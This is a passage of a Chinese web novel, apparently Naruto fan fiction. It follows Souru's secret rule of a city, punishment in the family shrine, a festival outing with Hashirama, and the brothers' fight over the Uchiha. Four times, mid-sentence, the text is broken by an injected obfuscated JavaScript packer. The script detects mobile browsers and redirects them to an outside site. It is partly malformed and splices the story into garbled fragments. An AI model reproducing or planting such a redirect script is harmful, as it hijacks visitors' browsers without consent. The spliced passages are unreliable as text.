那种无力感又冒了上来,千手大树觉得这次任务陪着的不是一个祖宗,而是两个:“我已经二十八了!她也不是我喜欢的类型!而且这已经上升到国与国之间的问题了!” 松萝:“那让出云来呢?他是水之国的,年龄也正好。” 辉夜出云坚决拒绝,甚至后退了十米,那闪现速度犹如遇到了什么洪水猛兽。 “够了!”他要赶紧回去复命,“这个问题你回去问族长吧。” 族长大人既然收养了松萝,就应该担负起教育的责任! 此时的千手大树直接忽略了自己是传道授业解惑的学堂先生的身份。 “我不回去哦,先生你自己回去吧。” 千手大树:???你果然还是从忍者的基础素质从头学一遍吧,任务完成要回去复命这种事情哪怕三岁小孩都知道! * 千手大树拿松萝没办法,最终还是一个人回去复命了。 留下的松萝严肃地问:“出云,你确定神社死掉的那个人是禺黎城的城主?” “我确定,虽然只远远地见过一次,但我很确定,我还在他身上发现了这个城主印信。” 他在神社检查那一直趴着的人的呼吸时便觉得奇怪,此人衣着华丽,但没有侍从。于是背着众人将他脸翻过来检查了一遍,并在他身上发现了一些线索。 松萝接过一个两指宽的白色玉石做的虎头印章,底下刻着“禺黎城主印”几个大字,看来是真的。 松萝举起印章放在左眼,右眼透过城门看向都城内部的繁华,过往的人皆衣着华丽,圆润富态,两侧商铺鳞次栉比,货架上琳琅满目。 然而渐渐地,那些衣着华丽的人们仿佛褪去了鲜艳的色彩,变成了穿着破旧衣服、面容憔悴的老年夫妻。 商铺不再光彩夺目,而是显得陈旧而简陋,货物也失去了光泽,显得灰暗而乏味。原本熙熙攘攘的街道,似乎变成了荒凉之地,地面龟裂,呈现出一片土黄色的贫瘠景象。 松萝眯起眼睛,思绪开始涣散。 她救过的土地,怎么能被别人挖去? 她种下的植物,怎么能让别人砍去? 如果这都守护不了,那就换一个守护的人好了。 她反复将印信抛向空中,沉沉浮浮、起起落落。 最终将其握在手中,仿佛握住了“禺黎城”的命运。 “我们去禺黎城。” * 另一边,千手大树已经跟千手大军汇合,并向千手佛间汇报了整个任务的情况。 也包括遇到了辉夜出云和姬君回到都城的事情。 “那孩子……”饶是千手佛间也觉得头疼,他不会养女儿,平常也不敢对她太严厉,更是很少谈心,但是这随便跟别的忍族混在一起的习惯可不好。 甚至任务完成后不知所踪,太令他头疼了。 千手大树退下之后他还在想以后要怎么教育松萝才好。这简直比部署战场兵力还难。 说到战场,对方这次居然没有雇佣宇智波一族。 这次是火之国向矿之国的宣战,要求是每年上供的精铁翻倍。 矿之国最多的就是铁矿,但是产出的精铁一年也只有一点点,还不够本国的军事装备,自然是不肯答应火之国的要求。 通常,当一方雇佣了千手的时候,敌对方总是会选择宇智波,因为其他的实在是没有可比性。 但也正是因为这样,他们跟宇智波的世仇越来越深。 宇智波田岛那家伙好像在雷之国那边,情报不足,也不知道他们接了什么任务。 所以这次的战争任务格外轻松,伤亡几乎没有。 千手佛间的案上还有一封已经拆开的来自雇佣者火之国的信件。 “很快就要结束了。” 果然,十天后,停战协定公布,千手大军带着胜利和庞大的任务金返回族地。 但是,当千手佛间发现,在外浪的野孩子松萝还未归家的时候,忍不住暴怒出声:“千!手!松!萝!” * “阿嚏!” 变身成城主样子的松萝,已经在这里假扮了好几天,差不多摸清了城中的几个核心人员,总共有三个,都是原城主的心腹,并且没少干伤天害理的事情。 至于士兵人数有点多,有八十几个,当然对比其他区域算是少得可怜,但毕竟这里是最贫瘠的地方,倒也情有可原。 士兵的人品过往实在搞不清楚的,都让出云用幻术问了一遍。 然后她就开始下命令了,没收坏地主的钱和地,重新分配。 把恶行昭昭、罪行累累的官员关了起来,对他们实施“恐怖统治”。 重新将周围所有的土地种上农民想要的农作物,顺便还造了几个野生果园、蔬菜园,没有人管理不要紧,她先把东西堆满,自然有人要来工作了。 大开城门,允许平民入住、往来,对他们实行“自由政|策”。 还想大刀阔斧多做些什么的松萝听到了千手打仗结束的消息,内心暗道一声糟糕。 “我得回家了!这里就交给你了!出云!我看好你!” 本来还在书房看文卷的松萝接到消息的时候,猛的从椅子上跳起来,火急火燎地收拾行李冲出了书房。 她收到消息的时候大战都结束好几天了,佛间爸爸的怒气肯定已经炸棚了。 穿着紫衣裳的辉夜出云捡起她粗心带落的毛笔,望着空荡的座椅,默默地将书案上的笔纸墨归类放好。 * 松萝跑回千手族地,跟守门的大叔打了声招呼,被他送了一包喜糖。 “趁着族长发了一大笔钱,我儿子昨天娶媳妇了!” 奔向最里面的族长宅邸路上,顺手扶了一个腿上绑着绷带的青年,拦住了一个差点脸朝地的小孩。 出乎她意料的是,家里居然一个人也没有。 她跑遍了所有房间,终于在厨房找到了偷喝米酒的猫咪老师。 “醒醒,酒鬼!”一股浓重的酒气冲向鼻子,松萝嫌弃地将它举得远了些,“父亲、柱间、扉间呢?这几天家里怎么样了,他们人呢?” “唔…你别晃…晕…有好多小星星嘿嘿…” 这个不靠谱的! 松萝环顾了一下,拿起醋放到猫咪老师怀里:“喝酒。” 猫咪老师醉得都没闻出来是醋,就往嘴里灌,然后,就被酸醒了。 “呸呸,好酸!” 松萝抱臂看着上蹿下跳的猫咪老师,气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735036|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不打一出来。还是主动舀了一勺水给他。 最后他在松萝脚边,吐着舌头四仰八叉地躺着。 松萝揪住他脸上的肥肉,手感一如既往的好:“家里怎么没人?” 不知道怎么的她心里有点毛毛的。 “不知道,柱间小子一大早就出去了,后来没过多久白毛和佛间也出去了。” “扉间有名字,不叫白毛。” 松萝捏着猫咪老师的耳朵,试图纠正他的称呼问题。 不过大家这接二连三地跑出去是去哪儿了? 很快,她就知道了。 到中午的时候,三人神情各异地回到了家。她从没见过佛间的表情那么差,比第一次发现柱间去了赌坊那天还要差。 他都没有进行照例的毒打,而是让柱间进了供着祖宗牌位的祠堂罚跪。 事出反常必有妖。 扉间看到她想要问询的动作,对她摇了摇头。 佛间也看到了她缩头缩脑的动作,手一指,让几日不归的松萝也进祠堂罚跪。 松萝讪讪走进这间小祠堂的时候,柱间垂着头,跪得笔直。 她小声叫了一声:“大哥?” 柱间听到声音回头给了她一个比哭还难看的笑脸:“回来了啊。” 一定是发生什么事了。不然大哥怎么能笑得那么难看。 她走到柱间旁边跪下。 想了一想,没有直接问他发生了什么,而是轻声跟他讲这几日的见闻。 讲她遇到了一个超级任性的姬君,讲她跟大树先生一起应对姬君让他们表演忍术的无理要求,最后还是松萝每日给她变花才结束,讲她遇到了以前救过的人还从他那里拿了一把通体雪白但锋利异常的匕首,讲她在神社捡到了一个红色戒指…… “说起来好奇怪哦,我已经在两个不同的神社捡到戒指了。都在榕木的空心层,大哥你说,是谁干的这个事情呢……” 松萝想起这件事,从口袋里找出红色戒指,细细翻看。 果然跟上次那个绿色的是同一种设计,不知名的红色石头和白金色的戒圈,戒圈内侧刻的数字倒是变成了“04”。 柱间的的视线从牌位移到她手上的戒指,再顺着手臂移到她青葱的脸庞。 日光透过门落到松萝的侧脸,整个祠堂就只有身后和她的脸庞是明亮的。 最前方是母亲的牌位。 铜盆里的香就快燃尽,顶端红色的亮光忽明忽灭,他的心也忽明忽灭。 直到最后那点红光熄灭,灰色的香灰断裂落下,他的心重重的地跳了一下,也渐渐归于沉寂。 柱间重新垂下头,他突然不是很想动。 但是身边的衣角忽然消失,穿着鸦青色练功服的娇小身影起身,重新点了根安神香,替代了刚刚熄灭的那一根。 她回头的一刹那,整张脸沐浴在阳光中,鼻影浅浅打在眼下,忽闪的睫毛晃得他眼花。 一个走神,松萝又跪回到了他的旁边。 这次她没再继续讲话,祠堂安静得出奇,他便容易开始胡思乱想。 想到的不是母亲闭上眼时垂落的手臂,就是下葬时满身伤痕的亲弟的尸体。 千手柱间闭上眼,脑子里满是血腥和阴暗的场面,过节时的温暖、斗嘴时的气急败坏就像被隔在黑幕以外,怎么都想不起来。 他获得的光那么少,暗却那么多,偏偏他的光还越来越小,他用全身去拢住,却还是在他眼皮子底下被侵染成暗。 明明就只剩这么点了啊。 不知过了多久,他感到有温暖从手背传来,还有浅浅、柔柔地声音在唤他:“大哥?柱间?” 太阳高升,少女也终于落在了阴影里,眉毛微拱,明眸微亮,小小的瞳仁里清晰地映出他跪着的身形。 柱间反握住她的手,突然用力地把她抱进了怀里,抓着她的衣服,无声地哭泣。 ——对不起,大哥就脆弱那么一会儿,就一会儿。 靠在祠堂门外一直听着动静的人转身离去,没有发出一点声音。 11. 千手家的冷战结束了吗(1) * 这次佛间是发狠了要罚柱间,跪了三天三夜也没让他起来。某种程度上被连坐的松萝也跪了三天三夜。 不过还好还有偷偷给他们送饭的扉间。 吃饭的时候,松萝对着送饭的扉间挤眉弄眼,试图让他透露一下到底发生了什么事。 然而一向接收她眼神最快的扉间却全程跟没看到一样,收拾碗筷离开时也没跟她说一句话。 松萝:…… 松萝:这个家到底怎么了,还有没有温暖了。 第四天夜间的时候,千手佛间终于在祠堂外露面,却是只对着她一人说话:“出来!” 她担忧地看了看柱间,然后委委屈屈地看向板着脸的佛间,两条腿颤颤巍巍,走路都不利索。 她虽然挨了长达两个半个时辰的臭骂,但好歹是被放出来了。 可是这对父子的和解却看不到一点征兆。 又忍了半日,午间用餐时,松萝佯装摔倒,“哎哟”一声,抱住佛间的大腿开始哭:“呜哇!祠堂又冷又黑,待了三天我都留下后遗症了……再跪下去,铁打的身体也受不住啊,以后遇到敌人跑不动了怎么办……祠堂又潮,那个关节病特别容易在这个时候埋下病根!哎哟…我现在膝盖就好疼啊…” 她偷偷往上瞥了一眼,正好跟佛间的目光对个正着,顿时哭也哭不出来,喊也不敢喊了。 沉默几秒,松萝还是试图抢救一下:“…父亲,大哥他跪也跪了,修行都浪费了好几天了,是不是该让他起来了……” 佛间一直盯到她头皮发麻,才冷冷地说:“吃饭!” “是……” “吃完叫柱间来我房里。” 她一喜,柱间有希望结束罚跪了! 果然,没过一会儿,柱间也被放了回来,两人抱了抱,各自休息去了。 * 祠堂这事儿是就这么过去了,但松萝觉得,这个家开始变得不太对劲,具体就是变成了三角形分布。 佛间一角,扉间一角,柱间一角,她则被夹在正中间来回传话,送东西。 松萝:……你们要一直冷战吗? 偏偏她问谁,谁都不告诉她到底发生了什么事情。 好憔悴好心累啊。 这晚,松萝在房里,端着因训练过度而颤抖的手写下一封信: 【斑啊,我过得好苦啊。你能不能暂时帮我管一下猫咪老师,就三天,拜托拜托。下次请你吃饭。】 什么称呼,什么署名都不要了。 然后以一瓶酒为跑腿费,唤来了猫咪老师,他因为上次偷喝米酒的事情很是好说话。 “不准偷看!” “知道了。” 总算送走了一尊大佛,家里还有三尊。 佛间爸爸那边有点难劝,主要还是她不敢,就只能从柱间和扉间下手了。 她先跑到柱间房里:“大哥,明天晚上有庙会,去吗?”“那我在入口等你哦。” 然后跑到扉间房里:“二哥,明天晚上有庙会,去吗?”“那我在入口等你哦。” 虽然是在这种情况下逛有生以来的第一次庙会,但本着雀跃的心她还是换上了美美的浴衣,然后随意扎了个头发。 唉,这种时候不能麻烦大哥了。 揣上钱包,她早早地到了庙会入口,然后找了个灌木丛猫了进去。 此时天都还亮着,很多烧烤摊主也还没来,松萝确实…来得过于早了一些。 于是她蹲在草丛里被蚊虫叮咬了半个时辰,才等来了第一个人——换了身墨蓝色浴衣的柱间。 柱间站在灯笼下环顾了一会儿,最终站在原地没有动。 稳住!扉间还没来,等会儿再出去! 然而,扉间没等来,倒是先等来了大马蜂。她左躲右躲,那马蜂就是围着她的头不放。她又没带什么花,干嘛呀真是。 她折了根枝桠,正准备不管三七二十一先弄死马蜂的时候,一只手先于她把马蜂拍死了。 她抬头看到似笑非笑的柱间,尴尬地站起来。她一站起来,叶子就从她身上扑扑地往下掉。 “嘿嘿,大哥。” “出来吧,那圈的蚊子都该被你喂饱了。” 松萝反应过来他话里的意思:“你早就发现了!” 柱间承认:“来的时候第一眼就发现了,我还在想你要在那蹲多久。” 松萝气得拿荷包砸他,看到了也不叫她,白躲了那么一会儿。 他最先讨饶:“我是看你不在房间里才猜到你先来了,我这不想着要帮你梳头发嘛!”他一边说一边掏出一把梳子。 “你最臭美我还不知道?第一次逛庙会没有一个好看的发型你就算嘴上不说,心里肯定会不舒服…” 松萝寻了块石头坐下,由柱间给她梳头发。 “你这头发上沾的东西真够多的,什么叶子花瓣都有…” “我招它们喜欢不行吗?” “行,人见人爱,花见花开的大小姐……” 一抹红色突然从右边出现,紧接着,一抹黄色在左边出现。 “吶,花开了。” 松萝接过开得饱满的花朵,放到鼻子底下轻嗅。 他这招木遁使得确实不错,松萝立刻就被哄好了。 她倒没忘了今天的目的,本来是想给两兄弟一个见面独处的机会,等他们和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735037|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了,自己再跳出来。 所以当头发梳好后,松萝马上找借口说她要离开一下,让柱间在原地等她千万不要走,不然之后就再难碰到一起了。 这回她放聪明了,躲得远了些,然后看着天色变暗变黑,估摸着时间应该差不多了,才悠悠地迈着步子去找兄弟俩。 等回到原地只看到一人的时候,脑袋里缓缓升起一个问号。 她走到柱间身边,伸着脑袋确定周围没有扉间的声影,脑袋里又多了一个问号。 该不会是扉间远远看到了柱间不想跟他碰面然后走了吧!完了完了!越想越有可能!所以嘛!她不在附近盯着不行啊! “怎么了?” 松萝急中生智:“我听说逛庙会之前要在入口附近多走走,才能沾上好运。” 她拉着柱间在四周转了又转,特别是回家的方向,最后沮丧地下结论:扉间真的走了。又或者根本没来。 “又怎么了?” “嗯,没事,我们进去吧。” 松萝有些忧郁的心情在踏进庙会后瞬间转晴,这红彤彤的灯笼,香喷喷的烤章鱼,敲锣打鼓的气氛太能驱散烦恼了。 她松开柱间,蹦蹦跳跳地挤进了烧烤摊和煎饼摊之间快要混在一起的队伍,发饰上的猫咪铃铛——柱间给戴上的——发出清脆的铃音,即使在闹哄哄的人群中,他也能轻易地分辨出来。 他们吃吃喝喝,玩了捞金鱼,带着三条小金鱼回去给家里鱼缸的大锦鲤作伴。 玩了扔飞镖,准头太差求助柱间,然后苦得摊主递上一堆奖品。 还玩了捏泥人,捏了一个大人,三个小孩,用竹枝串着拿在手里玩。 结果下一秒她又全部扔给了柱间,就因为她看到了裹着糖衣新鲜出炉的苹果糖,一手一个,左边舔完舔右边。 可惜摊位总共就那么多,就算放慢了步伐也还是走到了头。 两人对着最里面的土地神拜了拜,又原路返回再逛一遍。 这只个小庙会,没有组织烟火,若是盛夏当中的大庙会,可比这热闹多了。 “下次我们跟扉间一起来吧!” 玩得太开心,松萝都忘了他们还在冷战中。 柱间愣了一下,然后回道:“好。” 两人带着一堆纪念品走在回家的路上。 松萝还在品尝苹果糖,整条路就安静了不少。偶尔响起几声铃铛声,自发间传来,大约是忍者习惯隐藏自己,她走路时便开始不自觉地收敛摆头的幅度。 若是之前,柱间也是个话痨,是绝对不会冷场的。 走了一会儿,柱间的声音传来:“如果不是忍者的话,松萝会想去做什么?” 12. 千手家的冷战结束了吗(2) 想做什么? 在黑暗大陆的时候她想活下去,碍事的家伙全部都叉掉,然后她就无敌了。 后来她发现外面的世界更精彩,就自断根系,选了个通过“门”的幸运儿跟他签订了契约,当了他的十年摇钱树女儿。 现在,想干什么干什么,好像没有什么特别的…… 大约是沉默太久了,他先诉说了起来:“我的话可能会选种地。有自己的一小块田,种下一些不知名的种子,每天浇浇水,没发芽就动动土,发芽了就做个挡风的小棚。等它长高一点了每天就去数有多少叶子,能不能结果子。要是有虫子的话,我就把虫子抓起来,嗯……然后给猫咪老师玩吧……” “哈哈哈哈,猫咪老师可是有洁癖的!它肯定会生气的,然后跳到你的田里,把所有的枝啊苗啊都拔干净的!” 柱间想象了一下那个画面,大笑:“哈哈,这样也不错!” “我的话,现在比起想做什么,不想做什么的想法更强烈一点。” “第一,不想被关起来。” “第二,不想被夺走属于我的东西。” 见柱间要开口,松萝干脆把苹果糖塞进他嘴里,因为她还没说完。 她指了指脚下光秃秃的泥土,单手一挥,下山的小径上,便长满了不起眼的小草,一眼望不到头。 长着尖刺的绿色藤蔓从松萝背后出现,从地上卷了一把短草,举到半空。 “这就是能救人的‘万能香草’。不管是慢性病、绝症,或是断肢、残缺,还是年老、濒死,都在这‘万能’之内。” “也就是说,这些——” 风吹过望不到尽头的香草小径。 “意味着不老不死。” 柱间瞳孔一缩。 寂静。 风的流动停止了。 她的恶魔低语还在继续: “但是为了得到什么东西,就需要付出同等的代价。” “想要不老不死,就要拿出同等价值的‘祭品’。” “本质是生命力的提取和注入,所以需要的是活物的生命力。” 之前几次帮族人治疗的时候都让他们买鸡买鸭送过来当“祭品”,就是这个道理。 但其实还有更简单并且效果更好的方法,也是上辈子那些跟“爸爸”联络的大人物常用的方法——用活人。 这样的事情做了十年,她对生命的界限都开始模糊了,有时会觉得活着跟死了差不多。 “停!”柱间吐掉苹果糖,双手捂住了耳朵,“我什么也没有听到!这么重要的事情,你没有对我说过,以后也不要告诉任何人!” 松萝:……这有什么,我老家比我的能力奇葩的多了去了,我也就是能治病而已。 还没给你讲那些会起死回生、时空回溯、万能许愿机的怪物们呢。 “大哥!柱间!” 松萝凑到他面前,使劲掰他的手。可任凭她如何努力,柱间捂住耳朵的手就是纹丝不动。 “……” “我突然想到了,如果不当忍者的话,我要……” 松萝将“要”的音拖长,果然看到他的手偷偷抬起来了一点。 ——这不是完全可以听见吗…… 见被戳穿,柱间索性不捂了。 “真的?你要做什么?” “天、凉、王、破。” “‘天凉王破’是什么?” 柱间一脸迷茫。 “就是把我不喜欢的、威胁我的都叉掉啦。”就像她曾经做过的那样。 忍者那么好用,为什么只当战争的工具呢。 既然你们都不会用的话,就都给我退位好了。 虽然她说的不清不楚的,但结合她平日里时不时突然上涨的杀气,柱间对她说的“叉掉”福至心灵,小心翼翼地用词:“排除威胁是合理的,不喜欢的范围是不是有点太大了?” 松萝沉吟一下:“那就只选坏人。” “人都是复杂的,不一定坏的就该,额,该‘叉掉’,更没有纯粹的好人。”柱间努力跟她解释:“你想,上次在福来运转阁的那个细眼睛庄家,他虽然出老千,但其实是在店里挣钱的常用手段。他想要在那里继续工作,就要想办法为店里盈利,所以教训一下就可以了。” “……” 有一种被佛间爸爸说教了的即视感。 “大哥,你能不能把你第一个问题重新问一遍?” 嗯? 虽然疑惑但是照做。 “‘如果不是忍者的话,松萝会想去做什么?’,这个吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735038|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 少女认真点头,正色回答:“我要当城主。” 柱间:…… 柱间:突然觉得只是叉掉不喜欢的、有威胁的人也没什么不好。 弯月当空,星云密布。 他干笑:“月亮真圆,哈,哈。” 松萝感觉自己被无视了,气愤地踢了一下他的小腿肚,大步流星。 柱间一边在在后面惊恐大喊:“不要踩‘万能香草’!” 一边采集短草往怀里塞。 等他发现这些只是松萝“为了装逼变出的没有任何功效的真正的路边草而已”的事实,已经是好几天之后了。 * 走到半路,又想起来今日的目的,松萝平静了一下内心,靠在一棵树旁边等待拔草中的柱间。 最终还是没看过眼,强行把全身都是草的柱间拉走了。 偏偏他还依依不舍。 ——也不想想没有祭品哪来这么多万能香草,跟他说的等价交换是都忘了吗! 松萝失了耐心,问话就有些冷冷的:“你跟父亲还有二哥发生了什么?” 柱间动作一滞,让她担心了。 也不是故意瞒着,便将事情讲了一遍。 …… “所以,父亲是因为知道你交了个宇智波朋友才罚你跪祠堂的?” 松萝理解了,这事确实挺严重的。如果不是扉间发现的,而是别人,那她想都不敢想后果。 “不过为什么你和扉间…是因为这个事情吗?” “是也不是吧。”他们后来又吵过一架,是他选的时机不对,也没考虑到扉间的想法。 他觉得如果千手和宇智波能合作,那还有什么仗可打呢,忍族必定会在他们的联手压制下停止战争。 扉间却觉得他是被所谓的“好友”蛊惑了,才会想和杀死瓦间和板间的宇智波合作。 “我觉得你们需要好好谈谈。放心,这次有我在,一定不让他跑掉!” 少女刚想举起苹果糖舔两口,就想起来刚刚已经掉在地上了,只振奋了一瞬就蔫巴了下来。 “好,拜托你了。” 柱间忍不住摸摸她的头,帮她整理了一下耳边的碎发。 这么可爱的妹妹,以后也不知道要便宜了哪个家伙。 13. 千手家的冷战结束了吗(3) “不过你还是别在他面前提‘宇智波’这三个字比较好。” 她虽然没在战场上见过宇智波,但是跟捣毁了星组织的敌窝的宇智波们同行过几日,他们也没有本来认为的那么坏,反而很普通。 松萝脑海里闪过泉的样子,默默补上一句。 普通的好看。 她这么想也就这么说了。 柱间这才联想起来两年前的事情:“那个时候,救了你的居然有宇智波的一份功劳?” “是的,但是那会儿扉间一天到晚都在生气,我根本不敢说,然后就忘了哈哈哈哈。” 柱间回忆起了弟弟生动的表情,也笑了起来:“哈哈,也对!不过最近扉间对宇智波的印象好像更坏了,称呼都变成了‘禁忌的宇智波’。” “为什么呀,也没见他对羽衣族那么嫉恶如仇。” 都是敌人,怎么偏偏宇智波还能得个“邪恶的”“禁忌的”前缀呢。 柱间:“我估摸着,是从前段日子他开始研究宇智波族史开始的。” “族史!他从哪儿弄到的这东西!?” “当然不会是正版的,但是从其他地方也能搜集到一些,还有野史什么的。我看过一些,还怪有意思的。” 松萝双眼放光:“什么什么,什么有意思的?” 柱间压低声音给她讲八卦:“据说上上代宇智波族长和他弟弟喜欢上同一个女人,关键那女人还是一国的姬君,已经许给了邻国的大名的儿子。两人联手抢来姬君做出她意外身亡的假象,然后三个人住在一个屋檐下天天争风吃醋,但是姬君喜欢上了一个路过的吟游诗人跟人私奔了。上上代族长和他弟弟为爱开了写轮眼,千里追爱……” “停!” 这怎么越听越离谱呢? “大哥你确定这能信?” “当然不能信,上上代宇智波族长他弟还没成年前就死光了,还是我们上上代千手族长杀的呢,哪有那个命去争风吃醋。但是这故事写得还挺幽默的,我一不小心就看完了上下两册。” 松萝:…… 松萝:不要告诉我扉间每天就从这些东西里研究宇智波。 又走了一段路,她没忍住: “所以姬君最终跟谁在一起了?” * “什么东西,怎么感觉黏黏的?” 柱间感觉侧脸被冰凉的小脸碰到的地方像被蹭上了什么。 还算不上宽阔的背上是不久前闹着走不动的松萝。 她双手环绕在柱间的胸前,一手小金鱼,一手泥人。 “可能是刚刚的糖粘到脸上了。然后又黏到了你脸上。” 她双手都没空擦脸,恶作剧心起,贴上柱间的侧脸使劲磨蹭。 “你在干什么啊!”柱间惊得大喊,他觉得本来只有一点黏腻的感觉,现在半张脸都是了。 松萝得逞地笑了起来:“回去洗个脸不就好了。” 虽然这么说着,她自己也讨厌黏黏的感觉,双倍的感觉更要不得了,于是把头换了个肩靠。 柱间觉得有气没处撒,于是不打招呼就加速跑了起来,惊得背上的人一个倒仰。 再是一个急停,松萝猝不及防吃了一嘴的头发。 “呸呸呸!你这个破烂西瓜头!” 柱间:“你对我的发型有意见!?” “没意见,反正傻气的不是我。” 柱间:…… 他突然大声说:“我决定了!不把宇智波劝和,我以后就不剪头发!” 松萝:“……啊?” 那她是不是也该发个什么誓? 松萝:“我决定了!不把宇智波劝和,我就不谈恋爱不嫁人!” 柱间震惊,刚刚的气势都没了,声音也变弱了起来:“那个…啊…这个是不是太…” 他还没说完,眼前的门从里打开,一个熟悉的身影出现在面前。 原来已经到家了。 穿着墨紫色浴衣的扉间脸色铁青,下唇被咬得发白。 他把少女扯下来,然后一言不发地朝柱间挥起了拳头。 松萝看着眼前混乱的场景,不知所措。 这跟平常切磋不一样,拳拳到肉,她看到两人脸上青了好几块,还是不停下。 而因为太过突然没拿稳掉到地上的泥人,也被两个人踩扁了,在地里怕是抠都抠不出来。 装小金鱼的袋子破了,只能就着她手里的捧着的水暂时存活。 ……你们打吧我要先救我的小金鱼了。再不放进鱼缸,手里的水都要漏没了。 她一边跑远一边还记得留话:“我放下小金鱼就回来!别把大门打破了啊!” 柱间、扉间:…… 这架突然就打不下去了。 两人同时一推对方,梗着脖子,喘着粗气,面对面站着。 扉间皮肤白,又薄,他抹了把鼻血,下半张脸就有些模糊得不能看了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735039|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 几个时辰前,他本来也是欢欢喜喜地换了衣裳,欢欢喜喜地出了门,再欢欢喜喜地折了花枝去了临街。 但是当他到达的时候,看到的却是大哥给松萝编辫子的样子,两个人满心满眼都是笑。坐着的人偶尔抬抬手,摸摸自己扎到一半的小揪揪,就被柱间啪得打下去。 他也不知道为什么,什么也没想就把自己藏了起来。 一定是这几天躲惯了。 之后松萝又跑了,过了很久回来后拉着柱间到处转,他就站在树上看着她探头探脑,一会儿疑惑一会儿沮丧,还有什么不明白。 他跟大哥吵架为什么却让她夹在了中间两边难做,一定很担心吧。 他是该跟大哥谈谈了,现在就是个好时机,热闹的街市,笑闹的人群,温香的吃食,任谁在这样的气氛中都会被融化的,更何况他们之间本来就薄到可有可无的冰墙。 可是他双脚就跟长在了树上一样,怎么也不敢靠近那荧荧灯火。 他的目光不由得追逐着黄色浴衣的少女,嘴角的弧度跟身边的人一模一样,笑起来都是眉眼弯弯,露出一口大白牙,傻里傻气的。就连恶作剧的时的偷笑都是跟身边的人学的,嘴巴张成一个圈,大小眼,高低眉,贱兮兮的。 ——他们永远都那么合拍。 如果发现大哥的好友是一个宇智波的不是他而是松萝,如果大哥倾诉理想的对象不是他而是松萝,如果……没有他,他们会不会玩得更开心? 看久了,他的眼里就带上了涩意,直到看到少女一个趔趄扑被柱间揽到怀里,他撇开头,忍住鼻酸,跳下树,独行在回家的路上。 他先行回到了院子里,捏着花枝蹲在地上,花瓣早已在来时路上被吹得七零八落。 等大哥回来,他只要先开口打招呼,以他的大哥的性格一定会应下,然后,应该就能好好说话了吧。 他一定要让大哥明白,宇智波就是在骗他,对面的那个族长儿子,他在战场上亲眼见他刺死了族兄。 大哥只是一时被蒙住了眼睛看不清而已。 ……他们回来了,虽然听不真切,但一定是在讲在庙会遇到的好玩的事吧。 “我决定了!不把宇智波劝和,我以后就不剪头发!” “我决定了!不把宇智波劝和,我就不谈恋爱不嫁人!” 扉间:…… 扉间:自己不知道悔改,还要把家里那个小的带跑!我今天就要打死你! 14. 章之城(1) 等松萝救完金鱼回来的时候,两人已经分开了,气息平稳各站一边,估计是聊过了但没聊拢。 她无语望天,比她还大还高还壮的两个人怎么比小孩子还别扭。 她板着脸过去,让两个别扭小孩听话的方法,除了比他们更凶,就是更更凶。 “打完了?” “嗯。”x2 “和好了?” “呵。”x2 松萝跳起来就是俩脑瓜子,一人一个:“好就是好,不好就是不好,‘呵’什么‘呵’,要不以后我说话也‘呵呵呵呵呵’?” 她牵过两人的手靠近,眼看就要握在一起,他们还不乐意,暗自手上使了点劲,松萝拽得有些吃力。 松萝:“呵呵。” 两人立刻变怂,随她摆弄,然后……一人手上被塞了一把小铲子。 “看我干什么,看地上啊!”她花钱买的五彩泥人,现在尸首分离,和着小金鱼的洗澡水被踩扁在地,重新揉搓成五彩缤纷的大饼摊在地面,很是精彩。 “自己干的自己打扫干净,还有鞋子也是,没弄干净不准进门!” 把话一撂,关上大门自己回去了。 柱间和扉间对视一眼,看着对方的猪头脸,不约而同地笑起来。笑完想起来自己还在生气中,又各自撇开头去,对着地面使劲砸。 松萝合上门后拍拍手,心想不愧是她,聪明机智,善解人意。 * 第二日清晨,秋日的露汽还未散尽,蓝金色的天空朝晖明媚。 松萝换了鸦青色的练功服,舒展着双臂,走到屋檐下。 屋檐下有一只棕色的陶土大缸,两人合抱才得以抱开。缸里荷叶亭亭,她养了两年多的锦鲤经常躲在后面,昨天还多了一条大尾巴金鱼。 “吃饭了!”松萝扔了一点自制的鱼食进去,“发财发财快出来。” 